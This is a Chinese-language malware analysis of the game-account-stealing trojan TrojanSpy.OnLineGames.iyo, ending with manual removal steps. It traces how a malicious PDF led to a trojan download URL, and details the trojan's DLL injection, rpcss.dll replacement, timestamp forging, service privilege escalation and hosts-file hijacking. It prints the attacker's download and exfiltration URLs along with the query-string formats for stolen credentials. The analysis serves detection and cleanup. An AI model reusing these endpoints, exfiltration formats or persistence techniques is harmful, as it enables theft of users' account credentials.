1.先用RedoceA>PDF/CWS/Zlib Extractor解压PDF中的数据流；得到JS代码，如下：

2.在神器里运行，得到几个输出数据，逐个查看，得到shellcode

3.将代码复制进redoce，5>Unicode清除(%u,u)(参数/无参数)，得到网马地址

http://googlenew.cn/mmm/exe.php

英文名称：TrojanSpy.OnLineGames.iyo
中文名称：“网游窃贼”变种iyo
病毒长度：12060字节
病毒类型：木马
危险级别：★★
影响平台：Win 9X/ME/NT/2000/XP/2003
MD5 校验：c403b5d5ea1448efeb2d2ae71d41f5c3

============================================================================================
简单描述：
该病毒会通过替换系统“rpcss.dll”文件来实现开机自启动。是一个专门窃取QQ网络游戏帐号的木马程序。

同时，它还会窃取QQ网络游戏用户的密码保护资料。

中毒现象：
1、杀毒后系统不能上网。
2、杀毒后系统粘贴功能失效。
3、杀毒后系统任务栏上的部分信息不能正常显示。
4、杀毒后系统桌面程序“explorer.exe”启动非常慢，等好长时间才能显示出来桌面。
============================================================================================

病毒主程序“TrojanSpy.OnLineGames.iyo”部分的分析：
============================================================================================
加壳名称：Upack V0.37 -> Dwing *
采用高级语言编写。
入口：00002080
文件大小：12,060 字节。

释放恶意DLL组件：
ASCII “C:DOCUME~1ADMINI~1LOCALS~1Temp~ddc967.tmp” 文件大小：34,816 字节，文件名称随机。

病毒主程序通过“rundll32.exe”进程调用运行病毒释放出来的DLL组件文件：
00402209 FF15 00204000 CALL DWORD PTR DS:[402000] ; kernel32.CreateProcessA
0012FC18 00000000 |ModuleFileName = NULL
0012FC1C 0012FCB4 |CommandLine = “rundll32 C:DOCUME~1ADMINI~1LOCALS~1Temp~ddc967.tmp

INS C:Documents and SettingsAdministrator桌面new13.10260422.exe”
0012FC20 00000000 |pProcessSecurity = NULL
0012FC24 00000000 |pThreadSecurity = NULL
0012FC28 00000000 |InheritHandles = FALSE
0012FC2C 00000000 |CreationFlags = 0
0012FC30 00000000 |pEnvironment = NULL
0012FC34 00000000 |CurrentDir = NULL
0012FC38 0012FC44 |pStartupInfo = 0012FC44
0012FC3C 0012FC88 pProcessInfo = 0012FC88

病毒主程序在被感染计算机系统中安装完毕后会自我删除。
============================================================================================

病毒释放组件“~ddc967.tmp”部分的分析：
============================================================================================
采用高级语言编写，可能加壳。
文件大小：34,816 字节。

该DLL组件一般会被插入到“explorer.exe”、“csrss.exe”、“svchost.exe”等系统进程，以及几乎所有

用户级权限的进程中加载运行，并在被感染计算机系统的后台执行恶意操作，隐藏自我，防止被用户发现、被安全

软件查杀。
—————————————————————————–
1、插入系统进程“csrss.exe”：
监视DLL组件是否被调用，如果发现不存在(发现被关闭掉)则重新调用，达到自我保护的目的。

2、插入系统进程“explorer.exe”：
调用病毒组件“C:WINDOWSsystem32gdipro.dll”运行。躲避安全软件主动防御和监控等，达到自我保护的目的。

3、插入系统进程“svchost.exe”：
(1)、自我复制为“C:WINDOWSsystem32gdipro.dll”
(2)、通过“sfc_os.dll”来去除系统“C:WINDOWSsystem32rpcss.dll”文件的保护：
——————————————–
10012D03 FF15 C0200110 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; kernel32.LoadLibraryA
0006F340 10012B2C FileName = “sfc_os.dll”

10012D10 FF15 C4200110 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd>; kernel32.GetProcAddress
0006F33C 76C30000 |hModule = 76C30000 (sfc_os)
0006F340 00000005 ProcNameOrOrdinal = #5

10012D38 FFD6 CALL ESI ; sfc_os.#5
0006F338 00000000
0006F33C 0006F348 UNICODE “C:WINDOWSsystem32rpcss.dll”
——————————————–
(3)、用“DeleteFileA”删除系统文件“C:WINDOWSsystem32..ServicePackFilesi386rpcss.dll”

和“C:WINDOWSsystem32dllcacherpcss.dll”。
(4)、用“MoveFileExA”移动系统文件“C:WINDOWSsystem32rpcss.dll”到“C:WINDOWSsystem32

srpcss.dll”处。
10012E0D FF15 BC200110 CALL DWORD PTR DS:[<&KERNEL32.MoveFileEx>; kernel32.MoveFileExA
0006F45C 0006F67C |ExistingName = “C:WINDOWSsystem32rpcss.dll”
0006F460 0006F578 |NewName = “C:WINDOWSsystem32srpcss.dll”
0006F464 00000001 Flags = REPLACE_EXISTING
(5)、用病毒释放出来的DLL组件文件“C:WINDOWSsystem32gdipro.dll”来替换系统文件“C:WINDOWS

system32rpcss.dll”。
(6)、用“GetFileTime”、“SetFileTime”获取系统文件时间并重新设置被病毒替换后的DLL组件文件“C:WINDOWSsystem32rpcss.dll”的时间(创建和修改日期)，达到更好的自我隐藏的目的。
(7)、释放DLL组件“C:WINDOWSsystem32sys17002.dll”(文件大小：23,040 字节)。
(8)、用“GetFileTime”、“SetFileTime”获取系统文件时间并重新设置被病毒替换后的DLL组件文件“C:WINDOWSsystem32sys17002.dll”的时间(创建和修改日期)，达到更好的自我隐藏的目的。
(9)、提升服务的权限，把“NT AUTHORITYNetworkService”改为最高权限“LocalSystem”：
——————————————–
10013313 FF15 18200110 CALL DWORD PTR DS:[<&ADVAPI32.RegOpenKey>; ADVAPI32.RegOpenKeyExA
0006F754 80000002 |hKey = HKEY_LOCAL_MACHINE
0006F758 0006F770 |Subkey = “SYSTEMCurrentControlSetServicesrpcss”
0006F75C 00000000 |Reserved = 0
0006F760 000F003F |Access = KEY_ALL_ACCESS
0006F764 0006F878 pHandle = 0006F878

10013340 FFD7 CALL EDI ; ADVAPI32.RegSetValueExA
0006F74C 10013342 /CALL 到 RegSetValueExA 来自 gdipro.10013340
0006F750 00000080 |hKey = 80
0006F754 10012C30 |ValueName = “ObjectName”
0006F758 00000000 |Reserved = 0
0006F75C 00000002 |ValueType = REG_EXPAND_SZ
0006F760 10012C3C |Buffer = gdipro.10012C3C(LocalSystem)
0006F764 0000000C BufSize = C (12.)

10013352 FF15 10200110 CALL DWORD PTR DS:[<&ADVAPI32.RegOpenKey>; ADVAPI32.RegOpenKeyA
0006F75C 00000080 |hKey = 80
0006F760 10012C24 |Subkey = “Parameters”
0006F764 0006F874 pHandle = 0006F874

10013372 FFD7 CALL EDI ; ADVAPI32.RegSetValueExA
0006F74C 10013374 /CALL 到 RegSetValueExA 来自 gdipro.10013372
0006F750 00000084 |hKey = 84
0006F754 10012C18 |ValueName = “ServiceDll”
0006F758 00000000 |Reserved = 0
0006F75C 00000002 |ValueType = REG_EXPAND_SZ
0006F760 10011404 |Buffer = gdipro.10011404(C:WINDOWSsystem32rpcss.dll)
0006F764 00000038 BufSize = 38 (56.)
——————————————–
(10)、“CreateRemoteThread”利用创建远线程的方式来调用运行“C:WINDOWSsystem32gdipro.dll”。
—————————————————————————–

该病毒利用进程守护功能来实现自我保护。
============================================================================================

病毒释放组件“sys17002.dll”部分的分析：
============================================================================================
加壳名称：dUP v2.x Patcher –> www.diablo2oo2.cjb.net *
采用高级语言编写。
文件大小：34,816 字节。

释放驱动文件“C:WINDOWSsystem32drivershm17002.sys” ->文件大小：5,120 字节。

创建病毒配置文件“C:WINDOWSsystem32sys17002.add”。

发现地址加密前：ASCII “7a^G?BBBaaa^3>”
发现地址解密后：ASCII “g1.worrr111.cn”

发信地址：

http://g1.worrr111.cn/1a/zz4/zz.asp?Game=17&d00=&d01=&d10=&d11=&d21=&d30=&d31=&d32=&d40=0&d45=0&d42=0&d70=0&d71=0&d50=&d90=100

Game=17&d00=%s&d01=%s&d10=%s&d11=%s&d21=%s&d30=%s&d31=%s&d32=%s&d40=%u&d45=%u&d42=%u&d70=%d&d71=%d&d50=%s&d90=%d

http://g1.worrr111.cn/1a/zz4/mibao.asp?

Game=17&d10=%s&d11=%s&d00=%s&d01=%s&d20=%s:%s%%20%s:%s%%20%s:%s&d70=%d&d90=%d
act=&d10=%s&d80=%d

盗网络游戏帐号“QQ华夏”、“地下城与勇士”：
QQLogin.exe
DNF.exe

盗取QQ网络游戏的密码保护等信息资料。

域名劫持(当用户访问如下网站时，会被定向到骇客服务器地址“212.103.11.59”上)：
driversetchosts
212.103.11.59tpassport.wanmei.com
212.103.11.59treg.163.com
212.103.11.59tsde.game.sohu.com
212.103.11.59taccount.ztgame.com
212.103.11.59tpwd.sdo.com
212.103.11.59treg.91.com
============================================================================================

病毒释放驱动“hm17002.sys”部分的分析：
============================================================================================
恶意驱动程序。
文件大小：5,120 字节。

可能是利用驱动安装钩子截取QQ网络游戏密码，达到盗取游戏帐号的目的：
!This program cannot be run in DOS mode.
e:qqsgsetloa~1setloa~1objfre_wnet_x86i386SetLoadHook.pdb
============================================================================================

============================================================================================
手动删除该病毒的方法步骤(经过实际测试绝对有效)：

1、删除病毒文件“C:DOCUME~1ADMINI~1LOCALS~1Temp~*.tmp”、“C:WINDOWSsystem32 gdipro.dll”、“C:WINDOWSsystem32drivershm17002.sys”、“C:WINDOWS system32sys17002.dll”、“C:WINDOWSsystem32

sys17002.add”、“C:WINDOWS system32rpcss.dll”
2、把系统文件“C:WINDOWSsystem32srpcss.dll”改名为“C:WINDOWSsystem32rpcss.dll”。

3、把注册表“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesrpcssObjectName”键值改为“NT AUTHORITYNetworkService”。

4、把注册表“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesrpcssParametersServiceDll”键值改为“%SystemRoot%system32rpcss.dll”。

5、重新启动计算机系统，系统杀毒修复完毕(系统重新启动后就可以上网了，粘贴功能有效了，同时任务栏的显示也正常了)。

6、使用杀毒软件进行全盘查杀病毒(该病毒为木马下载器下载到您计算机中的病毒，那个木马下载器还下载了N多其它病毒也同时安装到了您的计算机系统中)。